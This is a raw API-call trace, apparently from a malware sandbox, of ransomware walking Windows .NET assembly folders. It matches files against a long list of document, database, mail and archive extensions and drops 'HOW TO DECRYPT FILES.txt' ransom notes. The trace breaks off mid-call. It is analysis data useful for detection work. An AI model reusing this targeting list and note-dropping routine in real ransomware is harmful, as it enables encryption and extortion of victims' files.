[0107.559] lstrlenA (lpString="*.fdb") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.wab") returned 0 [0107.559] lstrlenA (lpString="*.wab") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.dat") returned 0 [0107.559] lstrlenA (lpString="*.dat") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.txt") returned 0 [0107.559] lstrlenA (lpString="*.txt") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.jpeg") returned 0 [0107.559] lstrlenA (lpString="*.jpeg") returned 6 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.jpg") returned 0 [0107.559] lstrlenA (lpString="*.jpg") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.png") returned 0 [0107.559] lstrlenA (lpString="*.png") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.php") returned 0 [0107.559] lstrlenA (lpString="*.php") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.cs") returned 0 [0107.559] lstrlenA (lpString="*.cs") returned 4 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.cpp") returned 0 [0107.559] lstrlenA (lpString="*.cpp") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.rar") returned 0 [0107.559] lstrlenA (lpString="*.rar") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.zip") returned 0 [0107.559] lstrlenA (lpString="*.zip") returned 5 [0107.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.html") returned 0 [0107.560] lstrlenA (lpString="*.html") returned 6 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.htm") returned 0 [0107.560] lstrlenA (lpString="*.htm") returned 5 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.xlsx") returned 0 [0107.560] lstrlenA (lpString="*.xlsx") returned 6 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.xls") returned 0 [0107.560] lstrlenA (lpString="*.xls") returned 5 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.mp4") returned 0 [0107.560] lstrlenA (lpString="*.mp4") returned 5 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.ppt") returned 0 [0107.560] lstrlenA (lpString="*.ppt") returned 5 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.pptx") returned 0 [0107.560] lstrlenA (lpString="*.pptx") returned 6 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.doc") returned 0 [0107.560] lstrlenA (lpString="*.doc") returned 5 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.dot") returned 0 [0107.560] lstrlenA (lpString="*.dot") returned 5 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.docx") returned 0 [0107.560] lstrlenA (lpString="*.docx") returned 6 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.7z") returned 0 [0107.560] lstrlenA (lpString="*.7z") returned 4 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.tar") returned 0 [0107.560] lstrlenA (lpString="*.tar") returned 5 [0107.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.bz2") returned 0 [0107.561] lstrlenA (lpString="*.bz2") returned 5 [0107.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.gz") returned 0 [0107.561] lstrlenA (lpString="*.gz") returned 4 [0107.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.mkv") returned 0 [0107.561] lstrlenA (lpString="*.mkv") returned 5 [0107.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.eml") returned 0 [0107.561] lstrlenA (lpString="*.eml") returned 5 [0107.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.msg") returned 0 [0107.561] lstrlenA (lpString="*.msg") returned 5 [0107.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.edb") returned 0 [0107.561] lstrlenA (lpString="*.edb") returned 5 [0107.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.accdb") returned 0 [0107.561] lstrlenA (lpString="*.accdb") returned 7 [0107.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.odb") returned 0 [0107.561] lstrlenA (lpString="*.odb") returned 5 [0107.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.java") returned 0 [0107.562] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a30fb5, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30a30fb5, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb11dc723, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xaa000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcGlidHostObj.ni.dll", cAlternateFileName="MCGLID~1.DLL")) returned 0 [0107.562] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.562] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62163700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62163700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="18aae97d7e56a28acf9d642ad23ab413", cAlternateFileName="18AAE9~1")) returned 0 [0107.562] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.562] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62410fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x63006d, dwReserved1=0x6c0047, cFileName="mcplayerinterop", cAlternateFileName="MCPLAY~1")) returned 1 [0107.562] lstrcmpA (lpString1=".", lpString2="mcplayerinterop") returned -1 [0107.562] lstrcmpA (lpString1="..", lpString2="mcplayerinterop") returned -1 [0107.562] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.562] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="mcplayerinterop" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop" [0107.562] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62410fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.563] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.563] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62410fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.563] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.563] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.563] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62410fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f7a93626b76fe66f217c19426cc5b02a", cAlternateFileName="F7A936~1")) returned 1 [0107.563] lstrcmpA (lpString1=".", lpString2="f7a93626b76fe66f217c19426cc5b02a") returned -1 [0107.563] lstrcmpA (lpString1="..", lpString2="f7a93626b76fe66f217c19426cc5b02a") returned -1 [0107.563] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\*.*") returned="*.*" [0107.563] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\", lpString2="f7a93626b76fe66f217c19426cc5b02a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a" [0107.563] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62410fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.564] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.564] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62410fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.564] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.564] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.564] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a57110, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30a57110, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb1900930, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x86200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcplayerinterop.ni.dll", cAlternateFileName="MCPLAY~1.DLL")) returned 1 [0107.564] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.669] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mcplayerinterop.ni.dll") returned -1 [0107.669] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mcplayerinterop.ni.dll") returned -1 [0107.669] lstrcmpiA (lpString1="", lpString2="mcplayerinterop.ni.dll") returned -1 [0107.669] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\*.*") returned="*.*" [0107.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\" [0107.669] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\") returned="" [0107.669] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\HOW TO DECRYPT FILES.txt" [0107.669] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\how to decrypt files.txt")) returned 0xffffffff [0107.670] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.673] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.674] CloseHandle (hObject=0x90) returned 1 [0107.674] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\", lpString2="mcplayerinterop.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll" [0107.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.ems") returned 0 [0107.674] lstrlenA (lpString="*.ems") returned 5 [0107.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.db") returned 0 [0107.674] lstrlenA (lpString="*.db") returned 4 [0107.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.dbf") returned 0 [0107.674] lstrlenA (lpString="*.dbf") returned 5 [0107.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.myox") returned 0 [0107.674] lstrlenA (lpString="*.myox") returned 6 [0107.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.myo") returned 0 [0107.674] lstrlenA (lpString="*.myo") returned 5 [0107.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qbw") returned 0 [0107.674] lstrlenA (lpString="*.qbw") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qbb") returned 0 [0107.675] lstrlenA (lpString="*.qbb") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qbm") returned 0 [0107.675] lstrlenA (lpString="*.qbm") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qbo") returned 0 [0107.675] lstrlenA (lpString="*.qbo") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qbx") returned 0 [0107.675] lstrlenA (lpString="*.qbx") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qba") returned 0 [0107.675] lstrlenA (lpString="*.qba") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qby") returned 0 [0107.675] lstrlenA (lpString="*.qby") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qbj") returned 0 [0107.675] lstrlenA (lpString="*.qbj") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.ofx") returned 0 [0107.675] lstrlenA (lpString="*.ofx") returned 5 [0107.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.qif") returned 0 [0107.675] lstrlenA (lpString="*.qif") returned 5 [0107.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.mye") returned 0 [0107.676] lstrlenA (lpString="*.mye") returned 5 [0107.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.mbox") returned 0 [0107.676] lstrlenA (lpString="*.mbox") returned 6 [0107.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.eml") returned 0 [0107.676] lstrlenA (lpString="*.eml") returned 5 [0107.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.pst") returned 0 [0107.676] lstrlenA (lpString="*.pst") returned 5 [0107.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.ost") returned 0 [0107.676] lstrlenA (lpString="*.ost") returned 5 [0107.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.idx") returned 0 [0107.676] lstrlenA (lpString="*.idx") returned 5 [0107.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.dbx") returned 0 [0107.676] lstrlenA (lpString="*.dbx") returned 5 [0107.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.sql") returned 0 [0107.677] lstrlenA (lpString="*.sql") returned 5 [0107.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.mdb") returned 0 [0107.677] lstrlenA (lpString="*.mdb") returned 5 [0107.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.fdb") returned 0 [0107.677] lstrlenA (lpString="*.fdb") returned 5 [0107.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.wab") returned 0 [0107.677] lstrlenA (lpString="*.wab") returned 5 [0107.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.dat") returned 0 [0107.677] lstrlenA (lpString="*.dat") returned 5 [0107.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.txt") returned 0 [0107.677] lstrlenA (lpString="*.txt") returned 5 [0107.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.jpeg") returned 0 [0107.678] lstrlenA (lpString="*.jpeg") returned 6 [0107.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\mcplayerinterop.ni.dll", pszSpec="*.jpg") returned 0 [0107.678] lstrlenA (lpString="*.jpg") returned 5 [0107.678] PathMatchSpecA 